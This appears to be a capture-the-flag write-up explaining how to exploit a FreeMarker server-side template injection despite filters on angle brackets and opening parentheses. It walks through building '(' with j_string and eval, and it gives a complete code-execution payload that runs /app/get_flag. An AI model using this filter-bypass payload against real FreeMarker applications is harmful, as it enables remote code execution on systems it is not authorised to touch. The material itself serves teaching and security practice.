The web server uses Apache FreeMarker to render the HTML page. We can find that the page is vulnerable to SSTI by sending ${ 7*7 }
and observing that the server returns 49.
However, there are some filters in place that make the attack harder to execute.
- We cannot use the characters
<>\
(“XSS prevention”). - All the opening parentheses are replaced by closing parentheses, turning sad faces :-( to happy faces :-)
The popular FreeMarker code execution payload ${"freemarker.template.utility.Execute"?new()("/app/get_flag")}
can’t be used because it contains parentheses. There is also no way to use directives such as <#if user == "foo">
because the XSS blacklist blocks <
and >
.
A powerful built-in we can use is eval. It evaluates a string as a FreeMarker Template Language (FTL) expression. For example ${"123+456"?eval}
is evaluated to 579. Then we need to get creative.
- The first idea is to use the j_string built-in to escape a string and add backslashes to it. The payload
${'"'?j_string[0]}
returns a single backslash because'"'?j_string
returns\"
. - The second idea is to use eval to evaluate the string
"\x28"
, to obtain an open parenthesis.
By combining these two ideas, we can craft a string containing an FTL expression with parentheses. Then we call eval again on it to execute it.
My final payload is the following. It constructs the string 'freemarker.template.utility.Execute'?new()("/app/get_flag")
and evaluates it.
${["'freemarker.template.utility.Execute'?new" +
['"' + '"'?j_string[0] + 'x28"'][0]?eval +
")" +
['"' + '"'?j_string[0] + 'x28"'][0]?eval +
'"/app/get_flag")'
][0]?eval}